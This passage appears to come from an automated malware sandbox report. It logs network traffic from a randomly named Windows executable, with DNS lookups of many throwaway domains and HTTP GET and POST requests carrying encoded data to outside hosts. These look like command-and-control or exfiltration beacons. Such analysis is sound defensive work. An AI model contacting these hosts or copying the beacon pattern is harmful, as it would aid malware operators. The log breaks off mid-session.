Sep 27, 2024 17:31:50.933132887 CEST	63722	80	192.168.2.5	85.159.66.93
Sep 27, 2024 17:31:50.939987898 CEST	80	63722	85.159.66.93	192.168.2.5
Sep 27, 2024 17:31:56.448406935 CEST	63723	80	192.168.2.5	160.251.148.20
Sep 27, 2024 17:31:56.453284025 CEST	80	63723	160.251.148.20	192.168.2.5
Sep 27, 2024 17:31:56.453377962 CEST	63723	80	192.168.2.5	160.251.148.20
Sep 27, 2024 17:31:56.465771914 CEST	63723	80	192.168.2.5	160.251.148.20
Sep 27, 2024 17:31:56.470613956 CEST	80	63723	160.251.148.20	192.168.2.5
Sep 27, 2024 17:31:57.286891937 CEST	80	63723	160.251.148.20	192.168.2.5
Sep 27, 2024 17:31:57.286937952 CEST	80	63723	160.251.148.20	192.168.2.5
Sep 27, 2024 17:31:57.288710117 CEST	63723	80	192.168.2.5	160.251.148.20
Sep 27, 2024 17:31:57.968234062 CEST	63723	80	192.168.2.5	160.251.148.20
Sep 27, 2024 17:31:58.994440079 CEST	63725	80	192.168.2.5	160.251.148.20
Sep 27, 2024 17:31:58.999603033 CEST	80	63725	160.251.148.20	192.168.2.5
Sep 27, 2024 17:31:58.999681950 CEST	63725	80	192.168.2.5	160.251.148.20
Sep 27, 2024 17:31:59.012377024 CEST	63725	80	192.168.2.5	160.251.148.20
Sep 27, 2024 17:31:59.017333031 CEST	80	63725	160.251.148.20	192.168.2.5
Sep 27, 2024 17:31:59.822199106 CEST	80	63725	160.251.148.20	192.168.2.5
Sep 27, 2024 17:31:59.822334051 CEST	80	63725	160.251.148.20	192.168.2.5
Sep 27, 2024 17:31:59.824589968 CEST	63725	80	192.168.2.5	160.251.148.20
Sep 27, 2024 17:32:00.515078068 CEST	63725	80	192.168.2.5	160.251.148.20
Sep 27, 2024 17:32:01.533714056 CEST	63726	80	192.168.2.5	160.251.148.20
Sep 27, 2024 17:32:01.538645029 CEST	80	63726	160.251.148.20	192.168.2.5
Sep 27, 2024 17:32:01.541780949 CEST	63726	80	192.168.2.5	160.251.148.20
Sep 27, 2024 17:32:01.550728083 CEST	63726	80	192.168.2.5	160.251.148.20
Sep 27, 2024 17:32:01.555717945 CEST	80	63726	160.251.148.20	192.168.2.5
Sep 27, 2024 17:32:01.555747032 CEST	80	63726	160.251.148.20	192.168.2.5
Sep 27, 2024 17:32:02.544923067 CEST	80	63726	160.251.148.20	192.168.2.5
Sep 27, 2024 17:32:02.545123100 CEST	80	63726	160.251.148.20	192.168.2.5
Sep 27, 2024 17:32:02.545176029 CEST	63726	80	192.168.2.5	160.251.148.20
Sep 27, 2024 17:32:03.061963081 CEST	63726	80	192.168.2.5	160.251.148.20
Sep 27, 2024 17:32:04.081712008 CEST	63727	80	192.168.2.5	160.251.148.20
Sep 27, 2024 17:32:04.086812973 CEST	80	63727	160.251.148.20	192.168.2.5
Sep 27, 2024 17:32:04.089055061 CEST	63727	80	192.168.2.5	160.251.148.20
Sep 27, 2024 17:32:04.095128059 CEST	63727	80	192.168.2.5	160.251.148.20
Sep 27, 2024 17:32:04.100042105 CEST	80	63727	160.251.148.20	192.168.2.5
Sep 27, 2024 17:32:04.944849014 CEST	80	63727	160.251.148.20	192.168.2.5
Sep 27, 2024 17:32:04.944989920 CEST	80	63727	160.251.148.20	192.168.2.5
Sep 27, 2024 17:32:04.945053101 CEST	63727	80	192.168.2.5	160.251.148.20
Sep 27, 2024 17:32:04.947622061 CEST	63727	80	192.168.2.5	160.251.148.20
Sep 27, 2024 17:32:04.952488899 CEST	80	63727	160.251.148.20	192.168.2.5
Sep 27, 2024 17:32:10.410633087 CEST	63728	80	192.168.2.5	208.91.197.39
Sep 27, 2024 17:32:10.427402973 CEST	80	63728	208.91.197.39	192.168.2.5
Sep 27, 2024 17:32:10.427599907 CEST	63728	80	192.168.2.5	208.91.197.39
Sep 27, 2024 17:32:10.442198038 CEST	63728	80	192.168.2.5	208.91.197.39
Sep 27, 2024 17:32:10.452291965 CEST	80	63728	208.91.197.39	192.168.2.5
Sep 27, 2024 17:32:10.965820074 CEST	80	63728	208.91.197.39	192.168.2.5
Sep 27, 2024 17:32:10.965892076 CEST	63728	80	192.168.2.5	208.91.197.39
Sep 27, 2024 17:32:11.952657938 CEST	63728	80	192.168.2.5	208.91.197.39
Sep 27, 2024 17:32:11.958447933 CEST	80	63728	208.91.197.39	192.168.2.5
Sep 27, 2024 17:32:12.971610069 CEST	63729	80	192.168.2.5	208.91.197.39
Sep 27, 2024 17:32:13.011288881 CEST	80	63729	208.91.197.39	192.168.2.5
Sep 27, 2024 17:32:13.011415958 CEST	63729	80	192.168.2.5	208.91.197.39
Sep 27, 2024 17:32:13.025866985 CEST	63729	80	192.168.2.5	208.91.197.39
Sep 27, 2024 17:32:13.031024933 CEST	80	63729	208.91.197.39	192.168.2.5
Sep 27, 2024 17:32:13.559016943 CEST	80	63729	208.91.197.39	192.168.2.5
Sep 27, 2024 17:32:13.559112072 CEST	63729	80	192.168.2.5	208.91.197.39
Sep 27, 2024 17:32:14.530811071 CEST	63729	80	192.168.2.5	208.91.197.39
Sep 27, 2024 17:32:14.541083097 CEST	80	63729	208.91.197.39	192.168.2.5
Sep 27, 2024 17:32:15.551976919 CEST	63730	80	192.168.2.5	208.91.197.39
Sep 27, 2024 17:32:15.557243109 CEST	80	63730	208.91.197.39	192.168.2.5
Sep 27, 2024 17:32:15.560059071 CEST	63730	80	192.168.2.5	208.91.197.39
Sep 27, 2024 17:32:15.571778059 CEST	63730	80	192.168.2.5	208.91.197.39
Sep 27, 2024 17:32:15.577754974 CEST	80	63730	208.91.197.39	192.168.2.5
Sep 27, 2024 17:32:15.577896118 CEST	80	63730	208.91.197.39	192.168.2.5
Sep 27, 2024 17:32:16.100186110 CEST	80	63730	208.91.197.39	192.168.2.5
Sep 27, 2024 17:32:16.103969097 CEST	63730	80	192.168.2.5	208.91.197.39
Sep 27, 2024 17:32:17.077665091 CEST	63730	80	192.168.2.5	208.91.197.39
Sep 27, 2024 17:32:17.082756042 CEST	80	63730	208.91.197.39	192.168.2.5
Sep 27, 2024 17:32:18.096530914 CEST	63731	80	192.168.2.5	208.91.197.39
Sep 27, 2024 17:32:18.106043100 CEST	80	63731	208.91.197.39	192.168.2.5
Sep 27, 2024 17:32:18.107899904 CEST	63731	80	192.168.2.5	208.91.197.39
Sep 27, 2024 17:32:18.115799904 CEST	63731	80	192.168.2.5	208.91.197.39
Sep 27, 2024 17:32:18.120847940 CEST	80	63731	208.91.197.39	192.168.2.5
Sep 27, 2024 17:32:19.335733891 CEST	80	63731	208.91.197.39	192.168.2.5
Sep 27, 2024 17:32:19.335813999 CEST	80	63731	208.91.197.39	192.168.2.5
Sep 27, 2024 17:32:19.335850954 CEST	80	63731	208.91.197.39	192.168.2.5
Sep 27, 2024 17:32:19.335927963 CEST	63731	80	192.168.2.5	208.91.197.39
Sep 27, 2024 17:32:19.335973024 CEST	80	63731	208.91.197.39	192.168.2.5
Sep 27, 2024 17:32:19.336007118 CEST	80	63731	208.91.197.39	192.168.2.5
Sep 27, 2024 17:32:19.336041927 CEST	80	63731	208.91.197.39	192.168.2.5
Sep 27, 2024 17:32:19.336076975 CEST	80	63731	208.91.197.39	192.168.2.5
Sep 27, 2024 17:32:19.336122036 CEST	63731	80	192.168.2.5	208.91.197.39
Sep 27, 2024 17:32:19.336780071 CEST	80	63731	208.91.197.39	192.168.2.5
Sep 27, 2024 17:32:19.336813927 CEST	80	63731	208.91.197.39	192.168.2.5
Sep 27, 2024 17:32:19.336849928 CEST	80	63731	208.91.197.39	192.168.2.5
Sep 27, 2024 17:32:19.336977005 CEST	63731	80	192.168.2.5	208.91.197.39
Sep 27, 2024 17:32:19.345432997 CEST	80	63731	208.91.197.39	192.168.2.5
Sep 27, 2024 17:32:19.376950026 CEST	80	63731	208.91.197.39	192.168.2.5
Sep 27, 2024 17:32:19.377003908 CEST	80	63731	208.91.197.39	192.168.2.5
Sep 27, 2024 17:32:19.380263090 CEST	63731	80	192.168.2.5	208.91.197.39
Sep 27, 2024 17:32:19.439587116 CEST	80	63731	208.91.197.39	192.168.2.5
Sep 27, 2024 17:32:19.439636946 CEST	80	63731	208.91.197.39	192.168.2.5
Sep 27, 2024 17:32:19.439675093 CEST	80	63731	208.91.197.39	192.168.2.5
Sep 27, 2024 17:32:19.439860106 CEST	63731	80	192.168.2.5	208.91.197.39
Sep 27, 2024 17:32:19.440022945 CEST	80	63731	208.91.197.39	192.168.2.5
Sep 27, 2024 17:32:19.440205097 CEST	80	63731	208.91.197.39	192.168.2.5
Sep 27, 2024 17:32:19.440238953 CEST	80	63731	208.91.197.39	192.168.2.5
Sep 27, 2024 17:32:19.440310001 CEST	63731	80	192.168.2.5	208.91.197.39
Sep 27, 2024 17:32:19.440356970 CEST	63731	80	192.168.2.5	208.91.197.39
Sep 27, 2024 17:32:19.441318035 CEST	80	63731	208.91.197.39	192.168.2.5
Sep 27, 2024 17:32:19.441371918 CEST	80	63731	208.91.197.39	192.168.2.5
Sep 27, 2024 17:32:19.441405058 CEST	80	63731	208.91.197.39	192.168.2.5
Sep 27, 2024 17:32:19.441437960 CEST	63731	80	192.168.2.5	208.91.197.39
Sep 27, 2024 17:32:19.442612886 CEST	80	63731	208.91.197.39	192.168.2.5
Sep 27, 2024 17:32:19.442775011 CEST	80	63731	208.91.197.39	192.168.2.5
Sep 27, 2024 17:32:19.442809105 CEST	80	63731	208.91.197.39	192.168.2.5
Sep 27, 2024 17:32:19.442960024 CEST	63731	80	192.168.2.5	208.91.197.39
Sep 27, 2024 17:32:19.444510937 CEST	80	63731	208.91.197.39	192.168.2.5
Sep 27, 2024 17:32:19.444544077 CEST	80	63731	208.91.197.39	192.168.2.5
Sep 27, 2024 17:32:19.444577932 CEST	80	63731	208.91.197.39	192.168.2.5
Sep 27, 2024 17:32:19.444746971 CEST	63731	80	192.168.2.5	208.91.197.39
Sep 27, 2024 17:32:19.446295977 CEST	80	63731	208.91.197.39	192.168.2.5
Sep 27, 2024 17:32:19.446331024 CEST	80	63731	208.91.197.39	192.168.2.5
Sep 27, 2024 17:32:19.446425915 CEST	63731	80	192.168.2.5	208.91.197.39
Sep 27, 2024 17:32:19.462968111 CEST	80	63731	208.91.197.39	192.168.2.5
Sep 27, 2024 17:32:19.463135958 CEST	80	63731	208.91.197.39	192.168.2.5
Sep 27, 2024 17:32:19.463170052 CEST	80	63731	208.91.197.39	192.168.2.5
Sep 27, 2024 17:32:19.463430882 CEST	63731	80	192.168.2.5	208.91.197.39
Sep 27, 2024 17:32:19.464215040 CEST	80	63731	208.91.197.39	192.168.2.5
Sep 27, 2024 17:32:19.515877962 CEST	63731	80	192.168.2.5	208.91.197.39
Sep 27, 2024 17:32:19.515994072 CEST	80	63731	208.91.197.39	192.168.2.5
Sep 27, 2024 17:32:19.516031027 CEST	80	63731	208.91.197.39	192.168.2.5
Sep 27, 2024 17:32:19.516064882 CEST	80	63731	208.91.197.39	192.168.2.5
Sep 27, 2024 17:32:19.516289949 CEST	63731	80	192.168.2.5	208.91.197.39
Sep 27, 2024 17:32:19.529526949 CEST	80	63731	208.91.197.39	192.168.2.5
Sep 27, 2024 17:32:19.529680967 CEST	80	63731	208.91.197.39	192.168.2.5
Sep 27, 2024 17:32:19.529714108 CEST	80	63731	208.91.197.39	192.168.2.5
Sep 27, 2024 17:32:19.529859066 CEST	63731	80	192.168.2.5	208.91.197.39
Sep 27, 2024 17:32:19.530505896 CEST	80	63731	208.91.197.39	192.168.2.5
Sep 27, 2024 17:32:19.530540943 CEST	80	63731	208.91.197.39	192.168.2.5
Sep 27, 2024 17:32:19.530620098 CEST	63731	80	192.168.2.5	208.91.197.39
Sep 27, 2024 17:32:24.399009943 CEST	80	63731	208.91.197.39	192.168.2.5
Sep 27, 2024 17:32:24.399168015 CEST	80	63731	208.91.197.39	192.168.2.5
Sep 27, 2024 17:32:24.399224997 CEST	63731	80	192.168.2.5	208.91.197.39
Sep 27, 2024 17:32:24.402237892 CEST	63731	80	192.168.2.5	208.91.197.39
Sep 27, 2024 17:32:24.410769939 CEST	80	63731	208.91.197.39	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 27, 2024 17:29:19.862102032 CEST	53	61688	1.1.1.1	192.168.2.5
Sep 27, 2024 17:29:45.464725018 CEST	58256	53	192.168.2.5	1.1.1.1
Sep 27, 2024 17:29:45.546993017 CEST	53	58256	1.1.1.1	192.168.2.5
Sep 27, 2024 17:30:01.331082106 CEST	58599	53	192.168.2.5	1.1.1.1
Sep 27, 2024 17:30:01.351675987 CEST	53	58599	1.1.1.1	192.168.2.5
Sep 27, 2024 17:30:09.409774065 CEST	53479	53	192.168.2.5	1.1.1.1
Sep 27, 2024 17:30:09.419672012 CEST	53	53479	1.1.1.1	192.168.2.5
Sep 27, 2024 17:30:17.487277985 CEST	60501	53	192.168.2.5	1.1.1.1
Sep 27, 2024 17:30:17.507488012 CEST	53	60501	1.1.1.1	192.168.2.5
Sep 27, 2024 17:30:31.065668106 CEST	55746	53	192.168.2.5	1.1.1.1
Sep 27, 2024 17:30:31.577517033 CEST	53	55746	1.1.1.1	192.168.2.5
Sep 27, 2024 17:30:45.128381014 CEST	65373	53	192.168.2.5	1.1.1.1
Sep 27, 2024 17:30:45.409668922 CEST	53	65373	1.1.1.1	192.168.2.5
Sep 27, 2024 17:30:59.081866980 CEST	49427	53	192.168.2.5	1.1.1.1
Sep 27, 2024 17:30:59.374295950 CEST	53	49427	1.1.1.1	192.168.2.5
Sep 27, 2024 17:31:15.427758932 CEST	52362	53	192.168.2.5	1.1.1.1
Sep 27, 2024 17:31:15.964056015 CEST	53	52362	1.1.1.1	192.168.2.5
Sep 27, 2024 17:31:29.363729954 CEST	51229	53	192.168.2.5	1.1.1.1
Sep 27, 2024 17:31:29.377751112 CEST	53	51229	1.1.1.1	192.168.2.5
Sep 27, 2024 17:31:42.488126040 CEST	53189	53	192.168.2.5	1.1.1.1
Sep 27, 2024 17:31:42.578954935 CEST	53	53189	1.1.1.1	192.168.2.5
Sep 27, 2024 17:31:55.940165043 CEST	60446	53	192.168.2.5	1.1.1.1
Sep 27, 2024 17:31:56.445586920 CEST	53	60446	1.1.1.1	192.168.2.5
Sep 27, 2024 17:32:09.956635952 CEST	56310	53	192.168.2.5	1.1.1.1
Sep 27, 2024 17:32:10.407565117 CEST	53	56310	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 27, 2024 17:29:45.464725018 CEST	192.168.2.5	1.1.1.1	0x2819	Standard query (0)	www.030003302.xyz	A (IP address)	IN (0x0001)	false
Sep 27, 2024 17:30:01.331082106 CEST	192.168.2.5	1.1.1.1	0x6939	Standard query (0)	www.popin.space	A (IP address)	IN (0x0001)	false
Sep 27, 2024 17:30:09.409774065 CEST	192.168.2.5	1.1.1.1	0x892d	Standard query (0)	www.48vlu.shop	A (IP address)	IN (0x0001)	false
Sep 27, 2024 17:30:17.487277985 CEST	192.168.2.5	1.1.1.1	0xd21d	Standard query (0)	www.searchgpt.homes	A (IP address)	IN (0x0001)	false
Sep 27, 2024 17:30:31.065668106 CEST	192.168.2.5	1.1.1.1	0x37ba	Standard query (0)	www.2q63f.top	A (IP address)	IN (0x0001)	false
Sep 27, 2024 17:30:45.128381014 CEST	192.168.2.5	1.1.1.1	0x695e	Standard query (0)	www.b5x7vk.agency	A (IP address)	IN (0x0001)	false
Sep 27, 2024 17:30:59.081866980 CEST	192.168.2.5	1.1.1.1	0xcd4d	Standard query (0)	www.martaschrimpf.info	A (IP address)	IN (0x0001)	false
Sep 27, 2024 17:31:15.427758932 CEST	192.168.2.5	1.1.1.1	0xc333	Standard query (0)	www.tomtox.top	A (IP address)	IN (0x0001)	false
Sep 27, 2024 17:31:29.363729954 CEST	192.168.2.5	1.1.1.1	0xfbfb	Standard query (0)	www.tracy.club	A (IP address)	IN (0x0001)	false
Sep 27, 2024 17:31:42.488126040 CEST	192.168.2.5	1.1.1.1	0x4dd0	Standard query (0)	www.sppsuperplast.online	A (IP address)	IN (0x0001)	false
Sep 27, 2024 17:31:55.940165043 CEST	192.168.2.5	1.1.1.1	0x6b3c	Standard query (0)	www.nojamaica.net	A (IP address)	IN (0x0001)	false
Sep 27, 2024 17:32:09.956635952 CEST	192.168.2.5	1.1.1.1	0x45d0	Standard query (0)	www.alphaaistore.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Sep 27, 2024 17:29:45.546993017 CEST	1.1.1.1	192.168.2.5	0x2819	No error (0)	www.030003302.xyz	030003302.xyz		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 17:29:45.546993017 CEST	1.1.1.1	192.168.2.5	0x2819	No error (0)	030003302.xyz		65.21.196.90	A (IP address)	IN (0x0001)	false
Sep 27, 2024 17:30:01.351675987 CEST	1.1.1.1	192.168.2.5	0x6939	Name error (3)	www.popin.space	none	none	A (IP address)	IN (0x0001)	false
Sep 27, 2024 17:30:09.419672012 CEST	1.1.1.1	192.168.2.5	0x892d	Name error (3)	www.48vlu.shop	none	none	A (IP address)	IN (0x0001)	false
Sep 27, 2024 17:30:17.507488012 CEST	1.1.1.1	192.168.2.5	0xd21d	No error (0)	www.searchgpt.homes	searchgpt.homes		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 17:30:17.507488012 CEST	1.1.1.1	192.168.2.5	0xd21d	No error (0)	searchgpt.homes		3.33.130.190	A (IP address)	IN (0x0001)	false
Sep 27, 2024 17:30:17.507488012 CEST	1.1.1.1	192.168.2.5	0xd21d	No error (0)	searchgpt.homes		15.197.148.33	A (IP address)	IN (0x0001)	false
Sep 27, 2024 17:30:31.577517033 CEST	1.1.1.1	192.168.2.5	0x37ba	No error (0)	www.2q63f.top	2q63f.top		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 17:30:31.577517033 CEST	1.1.1.1	192.168.2.5	0x37ba	No error (0)	2q63f.top		38.47.233.19	A (IP address)	IN (0x0001)	false
Sep 27, 2024 17:30:45.409668922 CEST	1.1.1.1	192.168.2.5	0x695e	No error (0)	www.b5x7vk.agency		172.67.165.25	A (IP address)	IN (0x0001)	false
Sep 27, 2024 17:30:45.409668922 CEST	1.1.1.1	192.168.2.5	0x695e	No error (0)	www.b5x7vk.agency		104.21.11.31	A (IP address)	IN (0x0001)	false
Sep 27, 2024 17:30:59.374295950 CEST	1.1.1.1	192.168.2.5	0xcd4d	No error (0)	www.martaschrimpf.info		208.91.197.27	A (IP address)	IN (0x0001)	false
Sep 27, 2024 17:31:15.964056015 CEST	1.1.1.1	192.168.2.5	0xc333	No error (0)	www.tomtox.top		162.0.238.43	A (IP address)	IN (0x0001)	false
Sep 27, 2024 17:31:29.377751112 CEST	1.1.1.1	192.168.2.5	0xfbfb	No error (0)	www.tracy.club	tracy.club		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 17:31:29.377751112 CEST	1.1.1.1	192.168.2.5	0xfbfb	No error (0)	tracy.club		3.33.130.190	A (IP address)	IN (0x0001)	false
Sep 27, 2024 17:31:29.377751112 CEST	1.1.1.1	192.168.2.5	0xfbfb	No error (0)	tracy.club		15.197.148.33	A (IP address)	IN (0x0001)	false
Sep 27, 2024 17:31:42.578954935 CEST	1.1.1.1	192.168.2.5	0x4dd0	No error (0)	www.sppsuperplast.online	redirect.natrocdn.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 17:31:42.578954935 CEST	1.1.1.1	192.168.2.5	0x4dd0	No error (0)	redirect.natrocdn.com	natroredirect.natrocdn.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 17:31:42.578954935 CEST	1.1.1.1	192.168.2.5	0x4dd0	No error (0)	natroredirect.natrocdn.com		85.159.66.93	A (IP address)	IN (0x0001)	false
Sep 27, 2024 17:31:56.445586920 CEST	1.1.1.1	192.168.2.5	0x6b3c	No error (0)	www.nojamaica.net		160.251.148.20	A (IP address)	IN (0x0001)	false
Sep 27, 2024 17:32:10.407565117 CEST	1.1.1.1	192.168.2.5	0x45d0	No error (0)	www.alphaaistore.com		208.91.197.39	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.030003302.xyz

www.searchgpt.homes

www.2q63f.top

www.b5x7vk.agency

www.martaschrimpf.info

www.tomtox.top

www.tracy.club

www.sppsuperplast.online

www.nojamaica.net

www.alphaaistore.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	63688	65.21.196.90	80	5008	C:\Program Files (x86)\NHuuOIFvCiPFQibUqPiGsnnYLmnfQHCwDOqCxLWShlKuSgLUvc\HoiWfznxKU.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:29:45.589664936 CEST	585	OUT	GET /1nuz/?Ah=39evZXa6m7baCAiDcr0ch6V4fD09WsXkaMbScS7vY88jTdTJUv9E9AetrBPXqBlycVnLEijqhZPiEuH/pw4Oq8ZNp7wpFj1U/P2B+qNM5mXkMr/9uw3rZ9uOJdcOYzpfEQ==&6RGD=r8eHwnMpb2dxK HTTP/1.1 Host: www.030003302.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Linux; U; Android 2.3.6; pt-BR; LG-E400f Build/GRK39F) AppleWebKit/528.5+ (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1 UCBrowser/10.3.0.622 Mobile
Sep 27, 2024 17:29:46.279315948 CEST	1032	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 796 date: Fri, 27 Sep 2024 15:29:46 GMT vary: User-Agent Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	63692	3.33.130.190	80	5008	C:\Program Files (x86)\NHuuOIFvCiPFQibUqPiGsnnYLmnfQHCwDOqCxLWShlKuSgLUvc\HoiWfznxKU.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:30:17.533838987 CEST	847	OUT	POST /974s/ HTTP/1.1 Host: www.searchgpt.homes Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Content-Length: 203 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Origin: http://www.searchgpt.homes Referer: http://www.searchgpt.homes/974s/ User-Agent: Mozilla/5.0 (Linux; U; Android 2.3.6; pt-BR; LG-E400f Build/GRK39F) AppleWebKit/528.5+ (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1 UCBrowser/10.3.0.622 Mobile Data Raw: 41 68 3d 39 71 70 4b 54 52 46 74 4a 53 78 2b 30 63 69 6c 76 63 47 54 77 43 48 42 5a 79 66 4e 74 46 42 6b 6c 38 32 66 44 78 66 45 77 6e 6f 75 75 33 45 53 55 44 44 50 73 4f 6f 32 33 79 51 7a 31 32 57 39 72 41 2f 6d 45 75 76 49 62 65 6d 7a 34 52 64 4d 42 54 54 78 51 77 6d 37 4b 6e 30 46 69 5a 33 4e 47 58 4e 70 6c 35 6a 77 6a 34 62 62 7a 38 2f 44 45 78 71 5a 73 78 4d 35 4f 4b 4c 45 74 53 41 70 6e 69 33 33 45 6d 71 73 36 4d 38 66 65 66 31 55 4a 54 39 69 4a 56 65 6e 76 79 2b 54 45 6f 58 2b 6b 54 79 70 32 73 42 46 41 58 4a 32 4e 46 31 39 75 75 46 65 51 63 4c 2b 39 6d 50 78 32 2f 75 71 49 75 73 51 31 6c 77 3d Data Ascii: Ah=9qpKTRFtJSx+0cilvcGTwCHBZyfNtFBkl82fDxfEwnouu3ESUDDPsOo23yQz12W9rA/mEuvIbemz4RdMBTTxQwm7Kn0FiZ3NGXNpl5jwj4bbz8/DExqZsxM5OKLEtSApni33Emqs6M8fef1UJT9iJVenvy+TEoX+kTyp2sBFAXJ2NF19uuFeQcL+9mPx2/uqIusQ1lw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	63693	3.33.130.190	80	5008	C:\Program Files (x86)\NHuuOIFvCiPFQibUqPiGsnnYLmnfQHCwDOqCxLWShlKuSgLUvc\HoiWfznxKU.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:30:20.085330009 CEST	867	OUT	POST /974s/ HTTP/1.1 Host: www.searchgpt.homes Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Content-Length: 223 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Origin: http://www.searchgpt.homes Referer: http://www.searchgpt.homes/974s/ User-Agent: Mozilla/5.0 (Linux; U; Android 2.3.6; pt-BR; LG-E400f Build/GRK39F) AppleWebKit/528.5+ (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1 UCBrowser/10.3.0.622 Mobile Data Raw: 41 68 3d 39 71 70 4b 54 52 46 74 4a 53 78 2b 30 34 6d 6c 71 2f 75 54 68 79 48 47 41 79 66 4e 6a 6c 42 67 6c 38 36 66 44 7a 79 5a 77 30 4d 75 75 53 34 53 56 48 66 50 76 4f 6f 32 38 53 51 32 36 57 57 6d 72 41 6a 45 45 76 54 49 62 65 43 7a 34 55 35 4d 41 67 72 32 52 67 6d 35 48 48 30 48 73 35 33 4e 47 58 4e 70 6c 35 32 64 6a 34 44 62 77 4d 76 44 47 51 71 57 68 52 4d 2b 65 61 4c 45 70 53 41 74 6e 69 32 53 45 6b 4f 4b 36 50 49 66 65 62 39 55 49 41 6c 6c 65 6c 65 39 79 69 2f 36 49 64 6d 36 38 78 4f 68 37 4e 59 42 63 32 68 41 49 7a 59 58 30 4d 4e 32 44 38 6e 47 74 31 48 47 6e 50 50 44 53 4e 38 67 72 79 6c 6e 46 6d 30 69 49 61 4e 38 34 2b 68 51 5a 37 56 74 53 6d 6c 2b Data Ascii: Ah=9qpKTRFtJSx+04mlq/uThyHGAyfNjlBgl86fDzyZw0MuuS4SVHfPvOo28SQ26WWmrAjEEvTIbeCz4U5MAgr2Rgm5HH0Hs53NGXNpl52dj4DbwMvDGQqWhRM+eaLEpSAtni2SEkOK6PIfeb9UIAllele9yi/6Idm68xOh7NYBc2hAIzYX0MN2D8nGt1HGnPPDSN8grylnFm0iIaN84+hQZ7VtSml+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	63694	3.33.130.190	80	5008	C:\Program Files (x86)\NHuuOIFvCiPFQibUqPiGsnnYLmnfQHCwDOqCxLWShlKuSgLUvc\HoiWfznxKU.exe

Timestamp	Bytes transferred	Direction	Data
